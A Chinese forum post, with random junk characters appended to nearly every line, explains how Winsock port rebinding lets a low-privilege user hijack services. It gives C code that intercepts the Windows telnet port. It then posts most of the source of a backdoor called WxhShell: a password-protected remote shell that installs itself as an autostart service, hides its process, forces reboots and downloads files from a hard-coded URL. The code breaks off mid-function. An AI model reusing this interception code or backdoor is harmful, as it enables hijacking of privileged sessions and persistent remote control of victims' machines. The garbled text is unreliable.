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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: t*H|*L#YR  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); WWo"De@  
RzzU+r  
  saddr.sin_family = AF_INET; :R>RCR2g)  
!nlr!+(fV  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); xEeHQ7J  
7AWq3i{  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); PN:`SWP  
.k +>T*c{  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 r adP%W-U  
P"]l/  
  这意味着什么?意味着可以进行如下的攻击: gGx(mX._L?  
oN%zpz;OR  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 \u))1zRd  
S\Le;,5Z  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) l-S0Gn/'X  
~*<`PDO?  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 e4tC[6;  
GlRjbNW?Q  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  'cQ,;y  
+{C)^!zBK  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 d 2^/  
K_-m:P  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 hZ!kh3@:`  
"?lz[K>  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 OE Xa}K#  
rm$dv%q  
  #include R.F l5B  
  #include } #L_R  
  #include r/"^{0;F{W  
  #include    pU'>!<zGr  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Gf:dN_e6.  
  int main() pl)?4[`LUc  
  { AO|1m$xf  
  WORD wVersionRequested; ^u1Nbo  
  DWORD ret; U^%)BI  
  WSADATA wsaData; c~;VvYu  
  BOOL val; X.[bgvm~C  
  SOCKADDR_IN saddr; cMnN} '  
  SOCKADDR_IN scaddr; dqo-.,=  
  int err; !H{>c@i  
  SOCKET s; <r`;$K  
  SOCKET sc; ~I%164B+/  
  int caddsize; nZ (wfNk  
  HANDLE mt; TW70z]B  
  DWORD tid;   [{Q$$aV1  
  wVersionRequested = MAKEWORD( 2, 2 ); +"bi]^\z  
  err = WSAStartup( wVersionRequested, &wsaData ); Cc,V ]  
  if ( err != 0 ) { 4VwMl)8ic  
  printf("error!WSAStartup failed!\n"); S]~5iO_bst  
  return -1; b18f=<#  
  } j3T)gFP  
  saddr.sin_family = AF_INET; 2FV@ ?x0po  
   ZGsd cnz  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 o0S 8ki  
%*wEzvt *  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); HW,v"  
  saddr.sin_port = htons(23); x?0K'  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) \=mLL|a  
  { +zq"dj_  
  printf("error!socket failed!\n"); U{LS_VI~  
  return -1; #7}M\\$M  
  } y'I m/{9U  
  val = TRUE; ?!/8~'xA6  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Kg2Du'WQ^  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) N-knhA  
  { " zD9R4\X.  
  printf("error!setsockopt failed!\n"); SK^(7Ws~0  
  return -1; R8eBIJ/@_  
  } Dq$1 j%4Y  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; _>kc:  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 }1~9i'o%Z  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 #N >66!/V  
js"5{w&  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) )oz2V9X{  
  { &GJVFr~z  
  ret=GetLastError(); F;h^o!W7r  
  printf("error!bind failed!\n"); B)1(  
  return -1; K[0z$T\  
  } D15-pz|Q  
  listen(s,2); u a_w5o7  
  while(1) g\@.qKF  
  { T4"D&~3 3q  
  caddsize = sizeof(scaddr); ztX$kX:_m  
  //接受连接请求 ;v2eAe@7  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 0)~c)B:5  
  if(sc!=INVALID_SOCKET) $@71 w~y  
  { QRBx}!:NZ#  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); vt *  
  if(mt==NULL) ~ss6yQ$  
  { g52)/HM  
  printf("Thread Creat Failed!\n"); JJSE@$",\  
  break; BG?>)]6  
  } W|2|v?v  
  } 7Re\*[)T  
  CloseHandle(mt); CMOyK^(e  
  } CM++:Y vJ  
  closesocket(s); lqJ92vi6Q  
  WSACleanup(); xT*c##  
  return 0; Lw_|o[I}  
  }   " M?dU^U^  
  DWORD WINAPI ClientThread(LPVOID lpParam) udA@9a^;  
  { 4 l-Urn Z  
  SOCKET ss = (SOCKET)lpParam; Tq?Ai_  
  SOCKET sc; q Tdwi?j_  
  unsigned char buf[4096]; { AYW C6Y  
  SOCKADDR_IN saddr; F;}JSb"  
  long num; 7H{1i  
  DWORD val; jG;J qT  
  DWORD ret; Dv/7 w[F  
  //如果是隐藏端口应用的话,可以在此处加一些判断 h4|}BGO  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   K[OOI~"C  
  saddr.sin_family = AF_INET; M|%bxG^l  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); U0:*?uA.  
  saddr.sin_port = htons(23); Ew| Z<(  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) GWPBP-)0  
  { bo\Ah/.  
  printf("error!socket failed!\n"); Q*PcO\Y!y  
  return -1; I#O"<0 *r  
  } a~_JTH4=t  
  val = 100; ]YFjz/f  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) .IdbaH _a  
  { 4* >j:1  
  ret = GetLastError(); )?(Ux1:w)  
  return -1; ln=fq:  
  } /NCN wAj7  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) v^t7)nx^  
  { 2z;3NUL$n  
  ret = GetLastError(); WlvT&W  
  return -1; 4=|Q2qgFV  
  } M 80Q6K  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) pFNU~y'Kf  
  { 0NZ'(qf~9  
  printf("error!socket connect failed!\n"); >uq0}HB$a  
  closesocket(sc); \OFmd!Cz  
  closesocket(ss); zm5Pl G  
  return -1; ,-E'059  
  } Komdz/g  
  while(1) q6C`hVM l  
  { z7`|N`$Z#s  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 NFEr ,n  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 iz`>'wpC  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 hB.8\-}QMq  
  num = recv(ss,buf,4096,0); #\m.3!Hcr  
  if(num>0) rnhLv$  
  send(sc,buf,num,0); 0LL0\ly]  
  else if(num==0) dEKu5GI  
  break; ~B"HI+:\L  
  num = recv(sc,buf,4096,0); &DGz/o  
  if(num>0) x} c  
  send(ss,buf,num,0); .-tR <{ g  
  else if(num==0) g1[BrT,  
  break; ^`";GnH0  
  } d!R+-Fp  
  closesocket(ss); ZZo<0kDk  
  closesocket(sc); #.HnO_sK_  
  return 0 ; l~]] RgU  
  } *(q?O_3,b  
AmDOv4  
-WqhOZ  
========================================================== K)J_q3qo  
IA.7If&k  
下边附上一个代码,,WXhSHELL [j'!+)>_  
+z?gf*G_W'  
========================================================== /Z^a, %1  
87l*Y|osP  
#include "stdafx.h" )/)u.$pi  
W#P\hx  
#include <stdio.h> [ R+M .5  
#include <string.h> lD[@D9  
#include <windows.h> @U5gxK*  
#include <winsock2.h> 9]IZ3 fQX  
#include <winsvc.h> z!bT^_Cc0  
#include <urlmon.h> hwXsfh |  
dB4ifeT]  
#pragma comment (lib, "Ws2_32.lib") -A w]b} #v  
#pragma comment (lib, "urlmon.lib") mL`8COA  
,IboPh&Q78  
#define MAX_USER   100 // 最大客户端连接数 |LQ%sV  
#define BUF_SOCK   200 // sock buffer ]j/= x2p  
#define KEY_BUFF   255 // 输入 buffer *,lDo9  
:g63*d+/G  
#define REBOOT     0   // 重启 67Pmnad  
#define SHUTDOWN   1   // 关机 }O@>:?U  
GyQFR?  
#define DEF_PORT   5000 // 监听端口 /K&9c !]$C  
O5p$ A @  
#define REG_LEN     16   // 注册表键长度 ~s HdOMw  
#define SVC_LEN     80   // NT服务名长度 b=MW;]F  
9 CZ@IFS  
// 从dll定义API /Ls|'2J<$  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 95@u|#n  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); q5e(~@(z<`  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ff.k1%wr^  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); HLV8_~gQPf  
U3:|!CC)T  
// wxhshell配置信息 PA,aYg0f  
struct WSCFG { m-Jy 4f#  
  int ws_port;         // 监听端口 \^dse  
  char ws_passstr[REG_LEN]; // 口令 }WC[ <AqI  
  int ws_autoins;       // 安装标记, 1=yes 0=no qF bj~ec  
  char ws_regname[REG_LEN]; // 注册表键名 cK]n"6N[  
  char ws_svcname[REG_LEN]; // 服务名 >KrI}>!9r  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 IW<rmP=R&  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 &M?b 08  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Fn`Zw:vp6  
int ws_downexe;       // 下载执行标记, 1=yes 0=no h]&  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Qv ~@  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 b; C}=gg  
4lX_2QT]E  
}; TM#L.xPMf  
2H9hN4N  
// default Wxhshell configuration oz=ULPZ%  
struct WSCFG wscfg={DEF_PORT, O8\f]!O(  
    "xuhuanlingzhe", :~"m yn,  
    1, 8TB|Y  
    "Wxhshell", m"Mj3Z:  
    "Wxhshell", r4iNX+h?V  
            "WxhShell Service", oZY|o0/9  
    "Wrsky Windows CmdShell Service", Ss 5@n  
    "Please Input Your Password: ", +0%r@hTv&>  
  1, 56s%Qlgx  
  "http://www.wrsky.com/wxhshell.exe", )JTQZ,f3]  
  "Wxhshell.exe" nD eVYK  
    }; EL3X8H  
`(?c4oq,c>  
// 消息定义模块 l]zQSXip  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; L1!~T+%uQ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; +jB;  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; _w?!Mu  
char *msg_ws_ext="\n\rExit."; bv]SR_Tiq  
char *msg_ws_end="\n\rQuit."; nrev!h  
char *msg_ws_boot="\n\rReboot..."; aB;f*x  
char *msg_ws_poff="\n\rShutdown..."; s1cu5eCt  
char *msg_ws_down="\n\rSave to "; \w1XOm [)  
3h.,7,T  
char *msg_ws_err="\n\rErr!"; eJ45:]_%I@  
char *msg_ws_ok="\n\rOK!"; y'^U4# (  
DQW)^j h  
char ExeFile[MAX_PATH]; L{jx'[C  
int nUser = 0; D )`(b  
HANDLE handles[MAX_USER]; &\6},JN  
int OsIsNt; T:{&e WH  
=ZURh_{xV  
SERVICE_STATUS       serviceStatus; T_Tu>wQX  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; !~?/D  
"0PsCr}!  
// 函数声明 P2jh[a%  
int Install(void); dcmf~+T  
int Uninstall(void); Wu{_QuAB  
int DownloadFile(char *sURL, SOCKET wsh); $6UU58>n  
int Boot(int flag); ; ,sNRES3  
void HideProc(void); m0^ "fMV  
int GetOsVer(void); CQ6I4k  
int Wxhshell(SOCKET wsl); H0"'jd  
void TalkWithClient(void *cs); Wm-$l  
int CmdShell(SOCKET sock); %D#&RS  
int StartFromService(void); <v -YMk@  
int StartWxhshell(LPSTR lpCmdLine); }Em{?Hqy  
00i MU  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); H:hM(m0?q  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); D mi.@.  
Z HZxr  
// 数据结构和表定义 qVfn(rZ  
SERVICE_TABLE_ENTRY DispatchTable[] = HM)D/CO,?  
{ b6k_u9m^E  
{wscfg.ws_svcname, NTServiceMain}, @R`6j S_gK  
{NULL, NULL} |0}Xb|+  
}; T\p>wiY2|F  
)_C>hWvo_  
// 自我安装 /hqn>t  
int Install(void) !$1qnsz  
{ <h9nt4F  
  char svExeFile[MAX_PATH]; %.`u2'^  
  HKEY key; a_S`$(7k  
  strcpy(svExeFile,ExeFile); &Cj~D$kDEu  
S[$9_Jf  
// 如果是win9x系统,修改注册表设为自启动 _PPC?k{z!  
if(!OsIsNt) { q 6UZ`9&z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { lbt8S.fx  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); pm=O.)g4`  
  RegCloseKey(key); Ag\RLJ.KD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3t+{~{Dj  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); m_Ed[h/I  
  RegCloseKey(key); tik*[1it  
  return 0; | WJ]7C  
    } \PT!mbB?  
  } g)Hsd0  
} .?3ro Q  
else { x*F- d2D  
d m"R0>  
// 如果是NT以上系统,安装为系统服务 NvIg,@}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,8Q0AkG  
if (schSCManager!=0) QChWy`x  
{ 9*FA=E  
  SC_HANDLE schService = CreateService (@*|[wN  
  ( JXkx!X_{  
  schSCManager, vjGJRk|XED  
  wscfg.ws_svcname, =/a`X[9vI  
  wscfg.ws_svcdisp, ^kcuRJ0*$  
  SERVICE_ALL_ACCESS, 7Z:HwZ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ec#`9w$  
  SERVICE_AUTO_START,  gh[q*%#  
  SERVICE_ERROR_NORMAL, nT=%3_.  
  svExeFile, \6a' p Q,  
  NULL, rU9")4sQ  
  NULL, PO'K?hVS^w  
  NULL, |*J;X<Vm  
  NULL, GjW(&p$&  
  NULL <`Fl Igo  
  ); ?+=,t]`!m  
  if (schService!=0) p@Os  
  { @Yb8CB  
  CloseServiceHandle(schService); l[5** ?#  
  CloseServiceHandle(schSCManager); " w V  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 3)>re&  
  strcat(svExeFile,wscfg.ws_svcname); X$u l=iBs  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { y'2w*?  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); "'``O~08/  
  RegCloseKey(key); 1r.2bL*~jw  
  return 0; lrHN6:x(Y4  
    } GNmP_N  
  } Em Ut/]  
  CloseServiceHandle(schSCManager); 1S(oi  
} n7ZJ< ~wl  
} |wb_im  
ts[8;<YD  
return 1; 7\$}|b[9  
} ,ynN801\m  
+fozE?  
// 自我卸载 T7ShE-X  
int Uninstall(void) ;9)nG,P3  
{ fuHNsrNlm  
  HKEY key; <w~$S0_  
 7Tr '<(A  
if(!OsIsNt) { J:uFQWxZ   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { D6e?J.  
  RegDeleteValue(key,wscfg.ws_regname); 0[ "CP:u  
  RegCloseKey(key); hA/Es?U]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7?k3jDK  
  RegDeleteValue(key,wscfg.ws_regname); ZI$P Qz2i  
  RegCloseKey(key); ^o C>,%7  
  return 0; qrOesSdc  
  } 9b-4BON{P  
} %<Qv?`B  
} &=%M("IlD  
else { wb#[&2i  
tD}{/`{_t  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); f9_Pn'"I  
if (schSCManager!=0) !T)_(}|6}  
{ A;ZluQ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); OBlQ   
  if (schService!=0) $M-"az]  
  { rFC9y o  
  if(DeleteService(schService)!=0) { .u7grC C  
  CloseServiceHandle(schService); v%`k*n':  
  CloseServiceHandle(schSCManager); G^<m0ew|  
  return 0; 4s>L]! W$8  
  } >W/mRv&  
  CloseServiceHandle(schService); j1Sjw6}GCH  
  } w"M!**bP  
  CloseServiceHandle(schSCManager); %y>*9$<pXe  
} 'dQGb-<_<  
} .{;RJ:O  
OS L~a_  
return 1; )<'2 vpz  
} 0V"(}!=2a  
s&WE'  
// 从指定url下载文件 Qd3ppJn  
int DownloadFile(char *sURL, SOCKET wsh) NV} fcZ  
{ GmUm?A@B  
  HRESULT hr; kp?_ir  
char seps[]= "/"; o"N\l{#s  
char *token; fE|"g'  
char *file; rWM5&M  
char myURL[MAX_PATH]; *6_>/!ywI  
char myFILE[MAX_PATH]; J +Y?'"r  
Bq4@I_b  
strcpy(myURL,sURL); #cD$ DA  
  token=strtok(myURL,seps); ) cOBP}j+  
  while(token!=NULL) ?g K|R  
  { :[_k .1-+  
    file=token; -DZ5nx  
  token=strtok(NULL,seps); j~Ci*'*L  
  } DvI^3iG8  
<Z1m9O "sy  
GetCurrentDirectory(MAX_PATH,myFILE); - t 4F  
strcat(myFILE, "\\"); 6I]{cm   
strcat(myFILE, file); }ew )QHd  
  send(wsh,myFILE,strlen(myFILE),0); ,*L3  
send(wsh,"...",3,0); b83m'`vRM  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 9j;!4AJ1t  
  if(hr==S_OK) 4 ;6,h6a  
return 0; &ML-\aSal  
else s/;S2l$`  
return 1; #cJ1Jj $  
$G /p[JG6-  
} {>ghX_m |  
FVOPC:}bj  
// 系统电源模块 aNICSxDN  
int Boot(int flag) (w<llb`]  
{ UY\E uA9  
  HANDLE hToken; +OI nf_O  
  TOKEN_PRIVILEGES tkp; loyhNT=  
xf:|lQf  
  if(OsIsNt) { tOQnxKzu  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); /I`-  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); k1D|Cpnp  
    tkp.PrivilegeCount = 1; VB+_ kR6Zv  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ?%>S5,f_  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 8js1m55KT  
if(flag==REBOOT) { >\lBbq a#  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) HErG%v]nw  
  return 0; [;C*9Nl  
} 5S! !@P!,  
else { K[-G2  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) )4GCL(&  
  return 0; QcdAg%"yy  
} .g_Kab3?L  
  } >bwq  
  else { {I$zmVG  
if(flag==REBOOT) { ,G$<J0R1  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %x^U3"7  
  return 0; *M~BN}.  
} \VAS<?3  
else { 2;SiH]HNS  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 0n?^I>j  
  return 0; +'g~3A-G  
} |)ALJJ=+  
} 3qp\jh=FE  
^7`gf  
return 1; vri<R8  
} .Jc<Gg  
)c0Dofhg  
// win9x进程隐藏模块 phcYQqR  
void HideProc(void) {%Q+Pzl.  
{ ?[X^'zz}  
w[;5]z  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); VF:<q  
  if ( hKernel != NULL ) 0*/[z~Z-1  
  { 7  nawnS  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");  OJ# d  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 1|7t q  
    FreeLibrary(hKernel); )3!z2f:e  
  } k`0m|<$  
Z~g7^,-t  
return; a7fn{VU8  
} _$gP-J  
? C6t Yd  
// 获取操作系统版本 =|3*Y0  
int GetOsVer(void) >s ;dooZ  
{ cs Gd}2VE  
  OSVERSIONINFO winfo; yt`K^07@  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); tNDv[IF  
  GetVersionEx(&winfo); srIt_Wq  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) >yt8gw0J  
  return 1; vq5o?$:-  
  else -h&KC{Xab  
  return 0; rhwjsC6  
} GaOM|F'>  
843O}v'  
// 客户端句柄模块 P?`a{sl.  
int Wxhshell(SOCKET wsl) 'iEu1! t\0  
{ 7MwS[N%#  
  SOCKET wsh; qZh}gu*>  
  struct sockaddr_in client; PCiwQ4~  
  DWORD myID; *)qxrBc0  
\ UiITP<  
  while(nUser<MAX_USER) rIAbr5CG  
{ ks(BS k4  
  int nSize=sizeof(client); J4m2|HK  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); vqJq=\ .m  
  if(wsh==INVALID_SOCKET) return 1; ~|8-Mo1ce  
.arWbTR)~U  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); sK|+&BC  
if(handles[nUser]==0) "l-R|>6~  
  closesocket(wsh); OP\m~1  
else mq oB]H,  
  nUser++; nW_cjYS%  
  } 2Afg.-7EP  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); zXv2plw(  
,-5|qko=  
  return 0; !s[[X5  
} iiTt{ab\Y  
/ #D R|  
// 关闭 socket sk~inIj-  
void CloseIt(SOCKET wsh) 63pd W/\j  
{ <2fgao&-n  
closesocket(wsh); 7NQEnAl  
nUser--; a/lTQj]A  
ExitThread(0); %bgUU|CdA  
} Kr@6m80E5  
=$F<Ac;&  
// 客户端请求句柄 7E\k97#G  
void TalkWithClient(void *cs) 2X@"#wIg  
{ Hie  
?!$:I8T  
  SOCKET wsh=(SOCKET)cs; }9 I,p$  
  char pwd[SVC_LEN]; o9c?)KQ  
  char cmd[KEY_BUFF]; 9wP,Z"  
char chr[1]; I*l y 7z  
int i,j; R b=q #  
k[]2S8K2  
  while (nUser < MAX_USER) { ix_&<?8  
~ qezr\$2  
if(wscfg.ws_passstr) { fnJt8Y4  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); gH|:=vfYUR  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7Nlk:f)*-  
  //ZeroMemory(pwd,KEY_BUFF); >AUzsQ  
      i=0; `z<I<  
  while(i<SVC_LEN) { 2 UPG8]  
\MB$Cwc  
  // 设置超时 RZqou|ki  
  fd_set FdRead; 6l& ,!fd  
  struct timeval TimeOut; t`E e/L%  
  FD_ZERO(&FdRead); ?=V;5H.  
  FD_SET(wsh,&FdRead); Z6IWQo,)Rh  
  TimeOut.tv_sec=8; DN;3VT.-  
  TimeOut.tv_usec=0; z?'z{+HY  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); V&J'2Lq  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); i^"!"&tW#  
Nh"U~zlh  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); g0:{{w  
  pwd=chr[0]; zx;~sUR;  
  if(chr[0]==0xd || chr[0]==0xa) { U,7}VdO  
  pwd=0; jUd)|v+t  
  break; <^Jdl.G  
  } sff4N>XAl<  
  i++; J3_Ou2cF`  
    } L4or*C^3  
B PG&R  
  // 如果是非法用户,关闭 socket WM9z~z'2a  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 0@kL<\u  
} CX#d9 8\b  
7(C:ty9  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); #X qnH  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); HlraOp+  
my%MXTm2  
while(1) { p'\zL:3  
1EA#c>I$  
  ZeroMemory(cmd,KEY_BUFF); r>B|JPm  
0n*D](/NK  
      // 自动支持客户端 telnet标准   lwm 9gka  
  j=0; Y |9  
  while(j<KEY_BUFF) { 0?O$->t  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); b!`{fwV  
  cmd[j]=chr[0]; Cm;M; ?  
  if(chr[0]==0xa || chr[0]==0xd) { & 6nLnMF8x  
  cmd[j]=0; nfksi``Vq  
  break; t {H{xd  
  } a6\`r^@  
  j++; >Et~h65d5  
    } LpN3cy>U  
;Pe=cc"@  
  // 下载文件 |G/W S0  
  if(strstr(cmd,"http://")) { 2ae"Sd!-2  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); !TO+[g!  
  if(DownloadFile(cmd,wsh)) z[' 2  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~,.'#=V  
  else ) (0=w4  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D qHJ *x4  
  } pKaU [1x?%  
  else { USZBk0$  
OxN[w|2\4  
    switch(cmd[0]) { a] 7nK+N  
  <."KejXg-  
  // 帮助 kO4'|<  
  case '?': { Y-lTPR<Eq  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); bD. KD)5  
    break; CZog?O}<  
  } b*1yvkX5  
  // 安装 q1Mt5O}  
  case 'i': { m~-O}i~)  
    if(Install()) 1@n'6!]6O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vQ,<Ke+d  
    else :Q8*MJ3&V  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V&7NN=  
    break; Q hdG(`PY~  
    } izs=5  
  // 卸载 ojc.ykP$  
  case 'r': { YP>J'{?b*"  
    if(Uninstall()) ZmmX_!M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Vllxv6/_  
    else Zxh<pd25Y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %F\.1\&eE  
    break; D7=Irz!O\7  
    } zwk& 3  
  // 显示 wxhshell 所在路径 O_L>We@3E  
  case 'p': { a[p$e?gka  
    char svExeFile[MAX_PATH]; }m&\I  
    strcpy(svExeFile,"\n\r"); S_?sJwM  
      strcat(svExeFile,ExeFile); Po*!eD  
        send(wsh,svExeFile,strlen(svExeFile),0); n'[>h0  
    break; nDyA][  
    } 3^5h:OaT  
  // 重启 g'cVsO)S  
  case 'b': { aW9\h_$  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); _r>kR7A\{  
    if(Boot(REBOOT)) X 8):R- J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kPoz&e_@  
    else { I51I(QF=  
    closesocket(wsh); *7b?.{  
    ExitThread(0); nw(R=C  
    } vo(:g6$  
    break; *HB 32 =qD  
    } gegM&Xo  
  // 关机 H4W!Md  
  case 'd': { -fp/3-  
